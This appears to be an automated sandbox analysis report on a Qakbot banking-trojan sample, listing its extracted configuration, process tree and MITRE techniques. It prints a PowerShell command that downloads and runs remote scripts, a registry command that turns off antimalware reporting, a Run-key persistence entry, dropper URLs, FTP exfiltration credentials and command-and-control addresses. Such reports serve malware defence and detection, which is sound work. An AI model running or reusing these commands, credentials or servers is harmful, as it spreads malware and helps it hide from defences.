qakbot | 46dc49be65d7165e2a6009854a4f27f0088230199e61e0555cb1bd266535874a

Analysis

max time kernel
153s
max time network
41s
platform
windows7_x64
resource
win7
submitted
11-08-2020 12:30

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General

Target

foo/62565a39c4a264e48e0678edad5d60fd.exe

Score

10^/10

qakbot 1535648626 banker persistence stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://www.dropbox.com/s/41zf98knyy5atko/001_01.ps1?dl=1

ps1.dropper

https://www.dropbox.com/s/dh8flnrogfq1h1w/001.ps1?dl=1

Extracted

Family

qakbot

Campaign

1535648626

Credentials

Protocol: ftp
Host:
37.60.244.211
Port:
21
Username:
[email protected]
Password:
4AsEzIaMwi2d

Protocol: ftp
Host:
198.38.77.162
Port:
21
Username:
[email protected]
Password:
kJm6DKVPfyiv

Protocol: ftp
Host:
61.221.12.26
Port:
21
Username:
[email protected]
Password:
346HZGCMlwecz9S

Protocol: ftp
Host:
67.222.137.18
Port:
21
Username:
[email protected]
Password:
p4a8k6fE1FtA3pR

Protocol: ftp
Host:
107.6.152.61
Port:
21
Username:
[email protected]
Password:
RoP4Af0RKAAQ74V

190.185.219.110:443

73.74.72.141:443

65.116.179.83:443

50.198.141.161:2078

70.183.154.153:995

68.49.120.179:443

70.94.109.57:443

24.45.54.50:2222

190.80.21.204:2222

216.201.159.118:443

74.88.210.56:995

75.189.235.216:443

47.48.236.98:2222

68.59.209.183:995

75.3.101.153:443

108.17.25.169:443

185.219.83.73:443

184.180.157.203:2222

207.178.109.161:443

174.48.72.160:443

Signatures

Qakbot/Qbot
Qbot or Qakbot is a sophisticated worm with banking capabilities.
trojan banker stealer qakbot

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	368	powershell.exe
6	368	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1484	bugdknz.exe
1060	bugdknz.exe

Loads dropped DLL 2 IoCs

pid	Process
1320	62565a39c4a264e48e0678edad5d60fd.exe
1320	62565a39c4a264e48e0678edad5d60fd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Windows\CurrentVersion\Run\lbtmcpcz = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Bugdknzu\\bugdknz.exe\""	explorer.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1976	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1320	62565a39c4a264e48e0678edad5d60fd.exe
1388	62565a39c4a264e48e0678edad5d60fd.exe
1388	62565a39c4a264e48e0678edad5d60fd.exe
1484	bugdknz.exe
1060	bugdknz.exe
368	powershell.exe
368	powershell.exe
1060	bugdknz.exe
1796	explorer.exe
1140	taskhost.exe
1796	explorer.exe
1236	Dwm.exe
1284	Explorer.EXE
1320	62565a39c4a264e48e0678edad5d60fd.exe
368	powershell.exe
816	conhost.exe
368	powershell.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1924	cmd.exe
1920	conhost.exe
1976	PING.EXE
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1484	bugdknz.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	368	powershell.exe

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
1284	Explorer.EXE
1284	Explorer.EXE
1284	Explorer.EXE
1284	Explorer.EXE
1284	Explorer.EXE

Suspicious use of SendNotifyMessage 4 IoCs

pid	Process
1284	Explorer.EXE
1284	Explorer.EXE
1284	Explorer.EXE
1284	Explorer.EXE

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 1320 wrote to memory of 1388	1320	62565a39c4a264e48e0678edad5d60fd.exe	24
PID 1320 wrote to memory of 1388	1320	62565a39c4a264e48e0678edad5d60fd.exe	24
PID 1320 wrote to memory of 1388	1320	62565a39c4a264e48e0678edad5d60fd.exe	24
PID 1320 wrote to memory of 1388	1320	62565a39c4a264e48e0678edad5d60fd.exe	24
PID 1320 wrote to memory of 1484	1320	62565a39c4a264e48e0678edad5d60fd.exe	25
PID 1320 wrote to memory of 1484	1320	62565a39c4a264e48e0678edad5d60fd.exe	25
PID 1320 wrote to memory of 1484	1320	62565a39c4a264e48e0678edad5d60fd.exe	25
PID 1320 wrote to memory of 1484	1320	62565a39c4a264e48e0678edad5d60fd.exe	25
PID 1320 wrote to memory of 1020	1320	62565a39c4a264e48e0678edad5d60fd.exe	26
PID 1320 wrote to memory of 1020	1320	62565a39c4a264e48e0678edad5d60fd.exe	26
PID 1320 wrote to memory of 1020	1320	62565a39c4a264e48e0678edad5d60fd.exe	26
PID 1320 wrote to memory of 1020	1320	62565a39c4a264e48e0678edad5d60fd.exe	26
PID 1320 wrote to memory of 368	1320	62565a39c4a264e48e0678edad5d60fd.exe	28
PID 1320 wrote to memory of 368	1320	62565a39c4a264e48e0678edad5d60fd.exe	28
PID 1320 wrote to memory of 368	1320	62565a39c4a264e48e0678edad5d60fd.exe	28
PID 1320 wrote to memory of 368	1320	62565a39c4a264e48e0678edad5d60fd.exe	28
PID 1484 wrote to memory of 1060	1484	bugdknz.exe	30
PID 1484 wrote to memory of 1060	1484	bugdknz.exe	30
PID 1484 wrote to memory of 1060	1484	bugdknz.exe	30
PID 1484 wrote to memory of 1060	1484	bugdknz.exe	30
PID 1484 wrote to memory of 1796	1484	bugdknz.exe	31
PID 1484 wrote to memory of 1796	1484	bugdknz.exe	31
PID 1484 wrote to memory of 1796	1484	bugdknz.exe	31
PID 1484 wrote to memory of 1796	1484	bugdknz.exe	31
PID 1484 wrote to memory of 1796	1484	bugdknz.exe	31
PID 1796 wrote to memory of 1140	1796	explorer.exe	18
PID 1796 wrote to memory of 1140	1796	explorer.exe	18
PID 1796 wrote to memory of 1140	1796	explorer.exe	18
PID 1796 wrote to memory of 1236	1796	explorer.exe	19
PID 1796 wrote to memory of 1236	1796	explorer.exe	19
PID 1796 wrote to memory of 1236	1796	explorer.exe	19
PID 1796 wrote to memory of 1284	1796	explorer.exe	20
PID 1796 wrote to memory of 1284	1796	explorer.exe	20
PID 1796 wrote to memory of 1284	1796	explorer.exe	20
PID 1796 wrote to memory of 1320	1796	explorer.exe	23
PID 1796 wrote to memory of 1320	1796	explorer.exe	23
PID 1796 wrote to memory of 1320	1796	explorer.exe	23
PID 1796 wrote to memory of 368	1796	explorer.exe	28
PID 1796 wrote to memory of 368	1796	explorer.exe	28
PID 1796 wrote to memory of 368	1796	explorer.exe	28
PID 1796 wrote to memory of 816	1796	explorer.exe	29
PID 1796 wrote to memory of 816	1796	explorer.exe	29
PID 1796 wrote to memory of 816	1796	explorer.exe	29
PID 1320 wrote to memory of 1924	1320	62565a39c4a264e48e0678edad5d60fd.exe	32
PID 1320 wrote to memory of 1924	1320	62565a39c4a264e48e0678edad5d60fd.exe	32
PID 1320 wrote to memory of 1924	1320	62565a39c4a264e48e0678edad5d60fd.exe	32
PID 1320 wrote to memory of 1924	1320	62565a39c4a264e48e0678edad5d60fd.exe	32
PID 1924 wrote to memory of 1976	1924	cmd.exe	34
PID 1924 wrote to memory of 1976	1924	cmd.exe	34
PID 1924 wrote to memory of 1976	1924	cmd.exe	34
PID 1924 wrote to memory of 1976	1924	cmd.exe	34
PID 1796 wrote to memory of 1924	1796	explorer.exe	32
PID 1796 wrote to memory of 1924	1796	explorer.exe	32
PID 1796 wrote to memory of 1924	1796	explorer.exe	32
PID 1796 wrote to memory of 1920	1796	explorer.exe	33
PID 1796 wrote to memory of 1920	1796	explorer.exe	33
PID 1796 wrote to memory of 1920	1796	explorer.exe	33
PID 1796 wrote to memory of 1976	1796	explorer.exe	34
PID 1796 wrote to memory of 1976	1796	explorer.exe	34
PID 1796 wrote to memory of 1976	1796	explorer.exe	34

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:1140

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:1236

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1284
- C:\Users\Admin\AppData\Local\Temp\foo\62565a39c4a264e48e0678edad5d60fd.exe
  "C:\Users\Admin\AppData\Local\Temp\foo\62565a39c4a264e48e0678edad5d60fd.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1320
- - C:\Users\Admin\AppData\Local\Temp\foo\62565a39c4a264e48e0678edad5d60fd.exe
    "C:\Users\Admin\AppData\Local\Temp\foo\62565a39c4a264e48e0678edad5d60fd.exe" /C
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1388
- - C:\Users\Admin\AppData\Roaming\Microsoft\Bugdknzu\bugdknz.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Bugdknzu\bugdknz.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:1484
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Bugdknzu\bugdknz.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Bugdknzu\bugdknz.exe" /C
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:1060
  - - C:\Windows\SysWOW64\explorer.exe
      C:\Windows\SysWOW64\explorer.exe
      4⤵
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1796
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe ADD "HKLM\SOFTWARE\Microsoft\Microsoft AntiMalware\SpyNet" /f /t REG_DWORD /v "SpyNetReporting" /d "0"
    3⤵
    PID:1020
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://www.dropbox.com/s/41zf98knyy5atko/001_01.ps1?dl=1'); IEX (New-Object Net.WebClient).DownloadString('https://www.dropbox.com/s/dh8flnrogfq1h1w/001.ps1?dl=1'); Invoke-MainWorker -Command 'C:\Users\Admin\AppData\Local\Temp\xujysixlggxpjklaxynlrhabicstv.txt'"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:368
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c ping.exe -n 6 127.0.0.1 & type "C:\Windows\System32\calc.exe" > "C:\Users\Admin\AppData\Local\Temp\foo\62565a39c4a264e48e0678edad5d60fd.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1924
  - - C:\Windows\SysWOW64\PING.EXE
      ping.exe -n 6 127.0.0.1
      4⤵
      Runs ping.exe
      Suspicious behavior: EnumeratesProcesses
      PID:1976

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "20113854621198155493-1042173751-969619305-1706607289-1574504100-46405236682955566"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:816

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1707118452-1969792091-20274850017783283653387198541574052340666838331-388398328"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:1920

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/368-14-0x00000000024B0000-0x00000000024B1000-memory.dmp

Filesize
4KB

Download
memory/368-24-0x000000001B4F0000-0x000000001B4F1000-memory.dmp

Filesize
4KB

Download
memory/368-37-0x000000001B570000-0x000000001B571000-memory.dmp

Filesize
4KB

Download
memory/368-36-0x000000001B560000-0x000000001B561000-memory.dmp

Filesize
4KB

Download
memory/368-8-0x000007FEF5AB0000-0x000007FEF649C000-memory.dmp

Filesize
9.9MB

Download
memory/368-12-0x0000000002350000-0x0000000002351000-memory.dmp

Filesize
4KB

Download
memory/368-13-0x000000001AC40000-0x000000001AC41000-memory.dmp

Filesize
4KB

Download
memory/368-21-0x000000001AB80000-0x000000001AB81000-memory.dmp

Filesize
4KB

Download
memory/368-15-0x000000001A9C0000-0x000000001A9C1000-memory.dmp

Filesize
4KB

Download
memory/368-20-0x000000001C170000-0x000000001C171000-memory.dmp

Filesize
4KB

Download
memory/1060-16-0x0000000002130000-0x0000000002141000-memory.dmp

Filesize
68KB

Download
memory/1388-1-0x00000000021C0000-0x00000000021D1000-memory.dmp

Filesize
68KB

Download
memory/1484-17-0x0000000002130000-0x0000000002199000-memory.dmp

Filesize
420KB

Download